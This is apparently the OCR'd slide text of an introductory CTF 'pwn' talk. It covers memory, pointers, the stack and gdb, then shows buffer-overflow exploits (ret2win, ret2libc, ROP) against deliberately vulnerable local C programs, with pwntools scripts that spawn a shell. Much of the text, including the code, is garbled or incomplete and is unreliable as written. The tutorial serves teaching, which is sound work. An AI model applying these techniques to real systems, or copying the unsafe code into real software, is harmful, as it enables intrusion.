pwn 101

basics on pwn and computer architecture

presented by ren
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e pwn player for thehackerscrew

e passionate and curious abt
computers

e started pwn during covid




Sidenote
about ctfs




what is pwn?




why IS everyone so
afraid of doing pwn?




Computer Architecture 101

what even is a computer?




processor

memory



add up the values in 0x00 and
0x01, then store it in 0x02

processor

memory



processor

memory



Processor

pProcessor

RAM

ROM

RAM

Harvard architecture Von Neumann Architecture
(not gonna go into this)
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Pointers
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NAY
OX\2
O3

X\
DX\S

pointers are just normal values
In memory




Pointers

acm:r

X0

NAY
OX\2
O3

X\
DX\S

Dereferencing

Retrieving values: *addr
Eg. *0x10 gives you 0x37

can also be done with addr[0]
in this context,
Ox10[0] is the same as *0x10
Ox10[1] is the same as *0x11
Ox10[2] is the same as *0x12
this depends on the type of ptr




acm:r
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Pointers

Dereferencing

Changing values: *addr = ...

Eg: *0x10 = Oxff

can also be done with
Ox10[0] = Oxff



Pointers

addv

OX10
HAY

arrays are just pointers!

strings are just
char pointers! OX\2
(ptr that points to chars) M3

these arrays can be called as ox\‘,‘_
buffers as well

. char arr[3] = {Ox41,0x42,0x43};

OX\S




Pointers

acm:r
OX\0
what if:
print(arr[get_int(stdin)]); DY\

. char arr[3] = {Ox41,0x42,0x43};

Ox\2
O3

X\
DX\S




what if:
print(arr[get_int(stdin)]);

arr[3] and arr[-1] would lead to
oob read!

arr[-1] would even leak the
memory
address of arr!
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Pointers

02 ace onr[A]

. char arr[3] = {Ox41,0x42,0x43};



Pointers

acm:r

X0

what if:
arr[get_int(stdin)] = get_int(stdin); O)L\\

char arr[3] = {0x41,0x42,0x43};
Ox\2 ;j
O3

X\
DX\S




Pointers

acm:r

X0

what if:
arr[get_int(stdin)] = get_int(stdin); O)L\\

you could change where arr is OY\2
pointed, by doing
arr[-1] = 0x10! OX\3

X\
DX\S




General Purpose Registers




Instructions
1001000000000071T1T1110111



Instructions
1001000000000071T1T1110111

\ 4

Assembler



Instructions
1001000000000071T1T1110111

\ 4

Assembler

¥

add rdi, rsi




multiprocessing

(not important right now)
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process B

the process you're pwning is not the only process there is



visualising a process




let’s take a look
at areal process




int sum(int a,int
return a + b;

}

void main(){
int a =
int b =

sum(a,b);
return;

source code

compiler

Y

ELF binary

pProcess



Making the binary

int sum(int a,int b){
return a + b;

}

void main(){
int a =
int b =

sum(a,b);
return;

}

> gCcC main.c -o main -m32



viewing the process in gdb

vagrant@Pubuntu-jammy: $ gdb main

GNU 1|[| llllulmxlr 12 .1-Bubuntul~22.04 ] 2

Copyright (C) 2022 Free Software Foundatlon, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html

This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law.

Type "show copying" and "show warranty" for details.

This GDB was configured as "x86_64-1inux—-gnu".

Type "show configuration" for configuration details.

For bug reporting instructions, please see:

<https://www.gnu.org/software/gdb/bugs/>.

Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".

Type "apropos word" to search for commands related to "word"...
Reading symbols from main...

(No debugging symbols found in main)

(gdb) set disassembly-flavor intel

(gdb) r

Starting program: /home/vagrant/level_up_talk/comp_arch/ma
[Thread debugging using libthread_ db enabled]

Using host libthread_db library "/lib/x86_ 6 X
[Inferior 1 (process 4063) exited with code 0171]

(gdb) B

> gdb main
> set disassembly-flavor intel
>r



looking at instructions @ main

(gdb) disassemble main

Dump of assembler code for function main:
<+0>: push
<+1>: mov
<+3>: |

NT ™ o

<+16>:
<+23>:
<+30>:
<+33>:
<+36>:
<+41>:
<+44>:
<+45>:
<+46>:
End of assembler dump.

> disassemble main



the stack




n
e for function main:

21 A
:—J = B~ 8 B

function calls



function calls

E‘A\\ Mmain ‘ shoe\

n

e for function main:

red boxes indicate that the esp +4 when a push happens
Instruction is just executed esp -4 when a pop happens




function calls
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function calls

S
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function call

-y
[ 3




stack frame

-y
[ 3

e for function main:
push




local variable

-y
[ 3

e for function main:
push




calling convention

INn 32 bits x86
St

e for function main:
push

(esp) Oxe't DWI337
0xes OX42%2
0vec L
0YF0
Ox 0¥1337 (o)
0x+¢8 YU 2 (b)

[eop) Dxfc| preV ehbp vohwe

oxie0| rot j




sum()
S e

(esp) 0O%e0

IXS6556lcd (rot) 1

Oxett D337

oxes X422

0ver - ]

0YF0 —

O x4 0¥1237 (o)

0x+¢8 YYD L2 (b)
[ebp) DxEc| preX ebp vohue R

OX100 rot j




Dhfe (main elop volwe)
IXS6556lcd (rot)

(dop) (esp) Owde
Dy.20

et Oxi1337

oxes OX42%2

IYe )
0%F0 1
Ox 0¥\ 37 (o)
0x¥8 U2 (b)
Dxéc prev ebp volue

OX100 rot j




ebp chaining

S

(dop) (esp) Owde
Dy.20

Dhfe (main elop volwe) B
IXS6556lcd (rot)

Dxe't Y1337

oxes OX¥2)2

INeL ]

0% 1

Ox 0¥\ 37 (o)

0x¥8 U2 (b)

ke[ prov ebpvohue | N

OX100 rot j




Dhfe (main elop volwe)
IXS6556lcd (rot)

(gop) (esp) Ovde
Dve0

et Oxi1337

oxes X422

0ver - ]

0%€-0 —

0¥t oY\ 37 (o)

Dx¥8 YU (V)
eax: Ox1337 Dxéc Prev ebp volue

edx: Ox4242 OX100 ret j




eax
edx

: Oxb5/9
. 0Ox4242

(dop) (esp) Owde
Dy.20

Dxe't
0xes
ovec

0x¢0
Oy
0 x¥8

DX
DX\100

Dhfe (main elop volwe)

IXS6556lcd (rot)

X337
0X42¥2 %
- —
0%\ 37 (o)
U2 (b)
prev ebp volue
rey ﬁ‘il




returning to main

Stk
(esp) Dxed|  DXSESSElcd [eet) 1
DneYt OX\337
oxes OX42%2
0ver - ]
O%€-0 1
0x-$ 0¥\ 37 (o)
Ox$8 U2 (b)
eax: Ox5579 (6op) Dxéc |  prov ebp vobue

edx: Ox4242 0X100 ret j




returning to main

stouk
(esp) Dhet | b33 A
oxes OXH2t2
IYeL — 1
0.0 . —
OxHt oYl 37 (o)
eax: OX5579 0 x¢% YYD U2 (b) -
Lebp) Dxbe | prev ebp vohue

edx: Ox4242 100 n j
elp:0x565561cd




returning to main
Stool

(esp) Ovec . i
0%

O x4 0¥1237 (o)
0x+¢8 YYD L2 (b)

[eop) Dxéc| prev ebp vohwe
OX100 rot

—1

—

—



cleaning up the stack frame

call  main S

n
e for function main:

leave = mov esp,ebp; pop ebp (@SP) °*‘°°l retv J




ret

Yo\



entry points

(gdb) info file

Symbols from "/home/vagrant/level_up_ta
Native process: (gdb) x/201i 0x56556060

Using the running image of chilg <_start>:
<_start+4>:

Whllg running this, GDB does no < start+6>:
Local exec file: < start+7>:
“/home/vagrant/level up_talk/col < start+9>:

Entry point: 0x56556060 <_start+12>:
< _start+13>:

< _start+14>:

: : <_start+15>:
Breakpoint 3, 1n _start < start+20>:

(gdb) x/23wx $esp <_start+26>:
0x565561a4 0x0 <_start+28>:
0x00000000 i PSP
9x00000001 oxf < start+32>:
oxffffd629 oxf <_start+38>:
oxffffdébd oxf PRSP
oxffffd700 oxf < start+47>:
(gdb) x/wx @x565561l1las

<main>: Ox83e58955




play with it yourself!

compile the binary in 32 bit, and explore the process yourself in gdb

Useful commands in gdb:
>info registers
show register values
> break *addr
sets breakpoint at address
when you set a breakpoint at addr, the process stops executing when
rip = addr
Note: the process stops before the instruction is executed, not after
>C
let the process continue executing after reaching a breakpoint
> S
execute the current instruction and stop again on the next instruction
>
run/rerun the binary/restart the process
> x/[n]wx addr
examine/print out n amount of 4 bytes of a memory address
Eg: x/24wx Oxffffd460 OR x/24wx $esp (for registers)



gdb plugins

CDB ENHANCED FEATURES

https://github.com/hugsy/gef

https://github.com/pwndbg/pwndbg



experiment with other stuff!

Edit/Write your own main.c file, compile it and run it in gdb.

Explore how:
- the process looks like In 64 bit
- what happens when you pass a lot of arguments to
a function in 64 bit (calling convention)
- global variables are stored
- arrays work
- anything you want




Exploitation 101




buffer overflows

AP —

char buf[Ox10];

read Ox100 bytes into buf; bu

pren ebp Valve

top —>




buffer overflows

char buf[Ox101;
read Ox100 bytes into buf;




buffer overflows

char buf[Ox101;
read Ox100 bytes into buf;




1st run

PIE

Position Independant Executable

0x56603000

0x56604000

0x56605000

0x56606000

0x5656b000

0x5656¢c000

0x5656d000

0x5656e000

3rd run



stack canary

every process has a
different, random canary

> D%e8d7¢000 [conmy)
o0 ¢
pren ebp Valve



bof to win

#include

void setup(){
setvbuf(
setvbuf(
setvbuf(

¥

VO ‘|_ lj Wi n ( ) {
system(

¥

void vuln(){
char buf[
printf(
gets(buf);
return;

¥

int main(){
setup();
vuln();

compile with
> gCcc main.c -o main -m32 -no-pie -fno-stack-protector



pwntools

from pwn iﬂpﬁrﬁ X
io = process(

io.sendlineafter(b
io.interactive()

https://docs.pwntools.com/en/stable/



bof to win

gef> print win

$1 = {<text variable, no debug info>}

gets@Eplt (
OxTffffd390
OxT7fd8f94

Oxffffd3b8+0x4 - Oxffffd390 = Ox2c



bof to win

from pwn import x
io = process(

io.sendlineafter(b b %
io.interactive()

vagrant@ubuntu-jammy: $ python3 exploit.py
[+] Starting local process './main': pid 5503
[+] Switching to interactive mode

ls

exploit.py main main.c

[+] Interrupted
[+] Stopped process './main' (pid 5503)
vagrant@ubuntu-jammy: $ I




what if there’s no
win() function?




LIBC . +ext

— |

LIBC .dato,

LIBC .boss

l

‘moan’ BM\"\\Q

LIR( \oindwy



ret2libc

Aim: mimic a system(“bin/sh”) call

what does the stack look like when
system(“/bin/sh”) is called?



ret2libc

Aim: mimic a system(“bin/sh”) call

what does the stack look like when
system(“/bin/sh”) is called?

cet (€rom GutrenD )

O lg)



ret2libc

S\\&S\-@M (rdr val of vuln)
P‘ F yuln
AAR (o ale il )

> b s\




ret2libc

#1include

#1nclude

void setup(){
setvbuf(
setvbuf(
setvbuf(
printf( %p\n void x)system);

gets(buf);
return,

int main(){
setup();
vuln();

compile with
> gCcc main.c -o main -m32 -no-pie -fno-stack-protector



offset l

beAweeq
W 0\»0\

her



ret2libc

gef>» p system
$1 = {<text variable, no debug info>} <system>
gef> search-pattern "/bin/sh"

Searching '/bin/sh' in memory
[+] In ' '(Oxf7f20000-0xf7fabo0o0), permission=r—-
Oxf7f3b0d5 - Oxf7f3bodc - "/bin/sh"

Oxf7f3b0d5 - Oxf7dc9cdO = 0x171405




ret2libc

from pwn import
io = process(

io.recvuntil(b )
system = int(io.recv(10),16)
binsh = system +

log.info + hex(system))
log.info( + hex(binsh))

io.sendlineafter(b DA% + p32(system) + b + p32(binsh))
io.interactive()

vagrant@ubuntu-jammy: $ python3 exploit.py
(+] Starting local process './main': pid 5939
system: Oxf7daécdO
binsh str: 9xf7f180d5
] Switching to interactive mode
ls
compile exploit.py main mailn.c

[#] Interrupted
[+] Stopped process './main' (pid 5939)




Return-Oriented Programming

Stk
P‘r_,'m&i-r = '\'fh__;
eX
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Return-Oriented Programming

‘ _Stmek
P SN B o
| 'a .l
gadget A n
B] v ap — sl R
A4 B\ —
gadget B o (/ 1
Cl inar ]
YA
1 |



Return-Oriented Programming

‘ _Stmek
A in &t B ’

| 'a .l

gadget A
B) > nler
- AN B —
gadget B Kp — [ o [

Cl inar ]
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Return-Oriented Programming

‘ _Stmek
A NS '

| 'a .l

gadget A
B) Tty
- AN B
gadget B

amre ]
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Return-Oriented Programming

#include

#include

void setup(){
setvbuf(
setvbuf(
setvbuf(

}

void win(int a, int b, int T rea\Ded -—\&w\\’aﬂ)\)\eﬂ\‘l\\")wt(ﬂ' D SYSrdm UfOIST ) av
if (a == && 7 w0d e OY\O\\\N\QQ/, 20 9\3 \’)\M\‘ dont A0 Hek .

system( )&

}

void gadgets(){
asm(
asm(

asm(
asm(

asm(
asm(

¥

void vuln(){
char buf[
printf(
gets(buf);
return;

¥

int main(){
setup();
vuln();

> gCC main.c -0 main -no-pie -fno-stack-protector -masms=intel


Mobile User


from pwn 1mport
io = process(

pop_rdi P64 (
pop_rsi P64 (
pop_rdx = pbé4(
win = pé4(
ret = p64(

rop =0b %

rop += pop_rdi + p64(
rop += pop_rsi + p64(
rop += pop_rdx + p64(
rop += ret + win

io.sendlineafter(b , TOp)
io.interactive()

> Ox7fa05fdb6973 <do_system+115> movaps XMMWORD PTR [rspl, xmml

Ox7fafs5fdb6977 <do:system+119> lock cmpxchg DWORD PTR [rip+0xl1cbedl],

Ox7fad5fdb697f <do_system+127> jne Ox7fad5fdb6c30 <do_system+816>
Ox7fad5fdb6985 <do_system+133> mov eax, DWORD PTR [rip+0x1cbdf9]

Ox7faB5fdb698b <do_system+139> lea edx, [rax+0x1]

Ox7fad5fdb698e <do_system+142> mov DWORD PTR [rip+0x1cbdf@], edx




Final Words




Questions




Thanks for
listening

twitter: @zeynarz
https://zeynarz.github.io




